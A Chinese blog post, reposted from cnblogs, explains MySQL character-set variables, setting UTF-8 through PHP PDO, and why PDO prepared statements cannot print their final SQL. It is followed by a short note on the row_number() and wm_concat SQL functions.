mysql一般默认的客户端字符编码为:latin1 mysql的字符编码有几种: mysql> show variables like "character_set_%"; +--------------------------+----------------------------+ | Variable_name | Value | +--------------------------+----------------------------+ | character_set_client | utf8 | | character_set_connection | utf8 | | character_set_database | latin1 | | character_set_filesystem | binary | | character_set_results | utf8 | | character_set_server | latin1 | | character_set_system | utf8 | | character_sets_dir | /usr/share/mysql/charsets/ | +--------------------------+----------------------------+ 其中信息输入路径是 client - connection - server 信息输出路径是 server - connection - result 输入set names utf8是临时设置client和connection的字符编码 如何在PHP中初始化mysql的字符编码? 有两种方法可以初始化设置: 1 1 2 3 $pdo = new PDO( "mysql:host={$config['host']};dbname={$config['dbname']};port={$config['port']}" , $config [ 'user' ], $config [ 'password' ], array (PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8" )); 2 1 2 3 4 5 $pdo = new PDO( "mysql:host={$config['host']};dbname={$config['dbname']};port={$config['port']}" , $config [ 'user' ], $config [ 'password' ]); $pdo -> exec ( 'set names utf8' ); PHP的PDO扩展 使用php如果要使用PDO,你需要安装的扩展除了PDO,还要各种数据库的驱动,PDO扩展是定义了一系列接口,但是你不可以使用PDO扩展直接操作数据库,需要安装制定PDO驱动扩展 PDO扩展的说明:http://www.php.net/manual/en/intro.pdo.php PDO扩展只能在PHP 5.0之上使用(使用了php的OO属性) 针对不同的数据库的扩展有: 为什么PDO的prepare不能打出最后的sql 使用PDO一直有一个郁闷的地方,就是使用prepare的时候想要将最后执行的sql打出来做log,发现没有方法。。。 后来想了想,prepare是mysql的语句,那么PDO的prepare和execute实际上是对mysql发送了几次请求,prepare,set,execute mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; mysql> SET @a = 3; mysql> SET @b = 4; mysql> EXECUTE stmt1 USING @a, @b; +------------+ | hypotenuse | +------------+ | 5 | +------------+ mysql> DEALLOCATE PREPARE stmt1; 所以,如果要打出log,只有自己拼sql了。。。 本文转自轩脉刃博客园博客,原文链接:http://www.cnblogs.com/yjf512/archive/2013/05/10/3070760.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

数据分析学习笔记

row_number() row_number() over(partition by col1[, col2…] order by col1 [asc|desc][, col2[asc|desc]…]) 函数说明: 可以用于开窗,排序,计数,返回当前窗口的排序值。 参数说明:partition by col1[, col2..]:指定开窗口的列。 order by col1 [asc|desc], col2[asc|desc]:指定结果返回时的排序的值。 WM_CONCAT 函数声明:string wm_concat(string separator, string str) 函数说明:该函数用指定的 spearator 做分隔符,链接 str 中的值。可以用于多行变一行。 参数说明:separator:String 类型常量,分隔符。其他类型或非常量将引发异常。str:String 类型,若输入为 Bigint,Double 或者 Datetime 类型,会隐式转换为 String 后参与运算,其它类型报异常。返回值:返回 String 类型。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册